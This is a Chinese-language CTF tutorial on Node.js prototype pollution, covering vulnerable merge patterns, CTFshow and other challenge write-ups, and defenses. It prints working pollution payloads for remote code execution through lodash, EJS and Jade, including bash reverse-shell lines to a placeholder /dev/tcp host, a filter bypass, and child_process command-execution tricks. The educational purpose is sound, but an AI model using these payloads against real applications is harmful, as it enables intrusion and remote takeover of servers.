浅析CTF中的Node.js原型链污染
字数 1194 2025-08-11 08:36:09

Node.js原型链污染攻击深度解析

一、原型链基础概念

1. JavaScript原型链机制

在JavaScript中,每个对象都有一个原型(__proto__),它是一个指向另一个对象的引用。访问对象属性时,如果该对象没有这个属性,JavaScript引擎会在它的原型对象中查找这个属性,这个过程会一直持续,直到找到该属性或到达原型链末尾。

2. __proto__prototype的区别

  • prototype:是类的属性,所有类对象在实例化时都会拥有prototype中的属性和方法
  • __proto__:是一个对象的属性,指向这个对象所在类的prototype属性

关系验证代码:

function Person(name) { this.name = name; }
Person.prototype.greet = function() { console.log(`Hello, my name is ${this.name}`); };
const person1 = new Person('Alice');
console.log(person1.__proto__ === Person.prototype); // 输出 true

二、原型链污染原理

1. 基本污染示例

var a = {number: 520};
var b = {number: 1314};
b.__proto__.number = 520; // 污染原型链
var c = {};
console.log(c.number); // 输出520,污染成功

2. JavaScript继承机制

调用b.number时的查找过程:

  1. 在b对象中寻找number属性
  2. 未找到时,在b.__proto__中寻找
  3. 仍未找到,继续在b.__proto__.__proto__中寻找
  4. 递归直到找到或到达null

三、常见污染场景

1. 对象合并函数

function merge(target, source) {
  for (let key in source) {
    if (key in source && key in target) {
      merge(target[key], source[key]);
    } else {
      target[key] = source[key];
    }
  }
}

let o1 = {};
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}');
merge(o1, o2);
console.log({}.b); // 输出2,污染成功

关键点:必须使用JSON.parse,否则__proto__会被当作原型而非键名

2. Object.assign污染

let baseUser = {};
let user = JSON.parse('{"__proto__": {"isAdmin": true}}');
let newUser = Object.assign({}, baseUser, user);
console.log({}.isAdmin); // 输出true,污染成功

四、CTF实战案例

案例1:CatCTF 2022 wife

漏洞点:注册接口使用Object.assign合并用户数据

app.post('/register', (req, res) => {
  let user = JSON.parse(req.body);
  // ...省略验证逻辑...
  let newUser = Object.assign({}, baseUser, user);
  users.push(newUser);
});

利用方法:污染__proto__.isAdmintrue

案例2:Code-Breaking 2018 Thejs

漏洞点:使用lodash.merge合并数据

app.all('/', (req, res) => {
  let data = req.session.data || {language: [], category: []};
  if (req.method == 'POST') {
    data = lodash.merge(data, req.body);
    req.session.data = data;
  }
  // ...渲染模板...
});

利用方法:污染sourceURL实现RCE

{
  "__proto__": {
    "sourceURL": "\r\n return e => {for (var a in {} ) {delete Object.prototype[a]; }return global.process.mainModule.constructor._load('child_process').execSync('dir')}\r\n//"
  }
}

案例3:CTFshow系列题目

Web334-338:基础原型链污染

关键代码

utils.copy(user, req.body);
if(secret.ctfshow === '36dboy') {
  res.end(flag);
}

利用方法

{"__proto__": {"ctfshow": "36dboy"}}

Web339-341:EJS模板RCE

利用方法:污染outputFunctionName

{
  "__proto__": {
    "outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/IP/端口 0>&1\"');var __tmp2"
  }
}

Web342-343:Jade模板RCE

利用方法:污染compileDebug

{
  "__proto__": {
    "compileDebug": true,
    "self": true,
    "line": "console.log(global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/IP/端口 0>&1\"'))"
  }
}

Web344:绕过字符过滤

过滤规则/8c|2c|\,/ig(过滤逗号和URL编码的逗号)

绕过方法

// 原始payload
query={"name":"admin","password":"ctfshow","isVIP":true}

// 绕过payload
query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}

五、防御措施

  1. 使用Object.create(null)创建无原型的对象
  2. 冻结原型对象:Object.freeze(Object.prototype)
  3. 避免使用不安全的对象合并函数
  4. 对用户输入的__proto__等特殊属性进行过滤
  5. 使用最新的Node.js版本,其中__proto__已被标记为废弃

六、扩展知识

1. JavaScript大小写特性

  • toUpperCase()特殊处理:
    • "ı" → "I"
    • "ſ" → "S"
  • toLowerCase()特殊处理:
    • "K" → "k"(注意不是字母K)

2. Node.js命令执行方法

// 方法1
require('child_process').execSync('命令')

// 方法2
require('child_process').spawnSync('命令', [参数]).output

// 方法3(当exec被过滤时)
require('child_process')['exe'+'cSync']('命令')

// 无require环境下的替代方案
global.process.mainModule.constructor._load('child_process').execSync('命令')
Node.js原型链污染攻击深度解析 一、原型链基础概念 1. JavaScript原型链机制 在JavaScript中,每个对象都有一个原型( __proto__ ),它是一个指向另一个对象的引用。访问对象属性时,如果该对象没有这个属性,JavaScript引擎会在它的原型对象中查找这个属性,这个过程会一直持续,直到找到该属性或到达原型链末尾。 2. __proto__ 与 prototype 的区别 prototype :是类的属性,所有类对象在实例化时都会拥有 prototype 中的属性和方法 __proto__ :是一个对象的属性,指向这个对象所在类的 prototype 属性 关系验证代码: 二、原型链污染原理 1. 基本污染示例 2. JavaScript继承机制 调用 b.number 时的查找过程: 在b对象中寻找number属性 未找到时,在 b.__proto__ 中寻找 仍未找到,继续在 b.__proto__.__proto__ 中寻找 递归直到找到或到达 null 三、常见污染场景 1. 对象合并函数 关键点 :必须使用 JSON.parse ,否则 __proto__ 会被当作原型而非键名 2. Object.assign 污染 四、CTF实战案例 案例1:CatCTF 2022 wife 漏洞点 :注册接口使用 Object.assign 合并用户数据 利用方法 :污染 __proto__.isAdmin 为 true 案例2:Code-Breaking 2018 Thejs 漏洞点 :使用 lodash.merge 合并数据 利用方法 :污染 sourceURL 实现RCE 案例3:CTFshow系列题目 Web334-338:基础原型链污染 关键代码 : 利用方法 : Web339-341:EJS模板RCE 利用方法 :污染 outputFunctionName Web342-343:Jade模板RCE 利用方法 :污染 compileDebug Web344:绕过字符过滤 过滤规则 : /8c|2c|\,/ig (过滤逗号和URL编码的逗号) 绕过方法 : 五、防御措施 使用 Object.create(null) 创建无原型的对象 冻结原型对象: Object.freeze(Object.prototype) 避免使用不安全的对象合并函数 对用户输入的 __proto__ 等特殊属性进行过滤 使用最新的Node.js版本,其中 __proto__ 已被标记为废弃 六、扩展知识 1. JavaScript大小写特性 toUpperCase() 特殊处理: "ı" → "I" "ſ" → "S" toLowerCase() 特殊处理: "K" → "k"(注意不是字母K) 2. Node.js命令执行方法